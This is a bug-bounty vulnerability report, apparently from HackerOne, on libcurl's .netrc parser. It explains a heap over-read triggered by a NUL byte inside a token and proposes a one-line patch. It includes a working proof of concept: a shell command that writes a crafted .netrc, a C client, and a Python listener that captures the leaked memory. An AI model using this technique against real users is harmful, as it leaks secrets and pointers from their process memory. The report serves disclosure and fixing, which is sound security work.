Sensitive information disclosure with malicious netrc file
Medium
C
curl
Submitted None
Actions:
Reported by
z2_
Vulnerability Details
Technical details and impact analysis
libcurl at commit [879b6075a1132c137920060ed262b3f5a58c18c2](https://github.com/curl/curl/tree/879b6075a1132c137920060ed262b3f5a58c18c2) contains a vulnerability where it can be coerced into reading over the boundaries of a heap-chunk and sending the resulting data over the
network to an attacker. This can lead to a disclosure of sensitive data, including pointers or other secret data on the heap.
The vulnerability exists in `lib/netrc.c` in the function `parsenetrc()` and has to do with the handling of the variables `tok` and `tok_end`:
```c
const char *tok = netrcbuffer;
while(tok && !done) {
const char *tok_end;
// [...]
tok_end = tok;
if(!quoted) {
size_t len = 0;
CURLcode result;
while(*tok_end > ' ') {
tok_end++;
len++;
}
// [...]
}
// [...]
tok = ++tok_end;
}
```
`tok` and `tok_end` point to the individual tokens inside a line of the .netrc file. However, if a token ends with a `\x00` character, the loop reads past the NUL-terminator and continues parsing random heap-data following the line. Take the following line as an example:
```
machine 127.0.0.1 login username password\x00 nothing-suspicious-here
```
When the parser arrives at `password\x00`, it treats the `\x00` as a token separator and `tok_end` points to that byte, but then gets incremented at the end of the loop in `++tok_end`. The following loop iteration continues parsing the data that follows the NUL-terminated string.
# PoC
This bug can lead to a disclosure of memory contents, as demonstrated by the following PoC:
Consider the following .netrc file generated by this bash script:
```sh
$ echo -en 'machine 127.0.0.1 login username password\x00 nothing-suspicious-here\n' > poc.txt
```
And, consider the following libcurl client that uses this netrc file to make a connection:
```c
#include <stdlib.h>
#include "curl/curl.h"
int main (int argc, char** argv) {
/* Pre-populate the heap with exemplary data */
char* spray = malloc(32 * 1024);
for (int i = 0; i < 32 * 1024; ++i) {
spray[i] = 'A';
}
free(spray);
/* Start transfer */
CURL* curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, "ftp://127.0.0.1:1337/");
curl_easy_setopt(curl, CURLOPT_NETRC, CURL_NETRC_REQUIRED);
curl_easy_setopt(curl, CURLOPT_NETRC_FILE, "./poc.txt");
curl_easy_perform(curl);
curl_easy_cleanup(curl);
}
```
Then, if we launch a small demo server that justs prints the transmitted password...
```py
#!/usr/bin/env python3
from pwn import *
with listen(1337) as conn:
conn.wait_for_connection()
conn.sendline(b"220 Hello\r")
line = conn.recvline()
assert(line == b'USER username\r\n')
conn.sendline(b"331 continue\r")
line = conn.recvline()
print(line)
```
... we can observe the following output
```
$ python3 server.py
b'PASS AAAAAAAAAAAAAA\r\n'
```
This means that uninitialized memory content has been sent instead of the supplied password `nothing-suspicious-here`.
# Exploit Scenario
This bug represents a vulnerability in a scenario, where a victim gets supplied with a malicious .netrc file by an attacker. When the victim makes a connection to the malicious host using the .netrc file, secret memory contents are transmitted to the attacker, with potentially previous heap-grooming to control what data gets transmitted.
# Patch
The following patch tries to fix the bug by limiting the allowed characters for `tok_end` to whitespaces:
```diff
diff --git a/lib/netrc.c b/lib/netrc.c
index 7df3f17fc..2f80df36c 100644
--- a/lib/netrc.c
+++ b/lib/netrc.c
@@ -165,7 +165,7 @@ static NETRCcode parsenetrc(struct store_netrc *store,
tok_end++;
len++;
}
- if(!len) {
+ if(!len || (*tok_end != ' ' && *tok_end != '\n' && *tok_end != '\r')) {
retcode = NETRC_SYNTAX_ERROR;
goto out;
}
```
# Impact
Leaking memory contents can help with exploiting other memory corruptions in order to achieve RCE if it used to leak pointer values. This can defeat exploit mitigations like [ASLR](https://en.wikipedia.org/wiki/Address_space_layout_randomization) and [PIE](https://en.wikipedia.org/wiki/Position-independent_code). Alternatively it can be used to leak secrets that were previously used by the application and allocated on the heap.
Since the vulnerability is easy to trigger with the single NUL byte, is difficult to spot for the victim since `\x00` is not printable and the resulting sensitive data gets sent over the network to the attacker, I suggest severity Medium.
Report Details
Additional information and metadata
State
Closed
Substate
Informative
Submitted
Weakness
LLM06: Sensitive Information Disclosure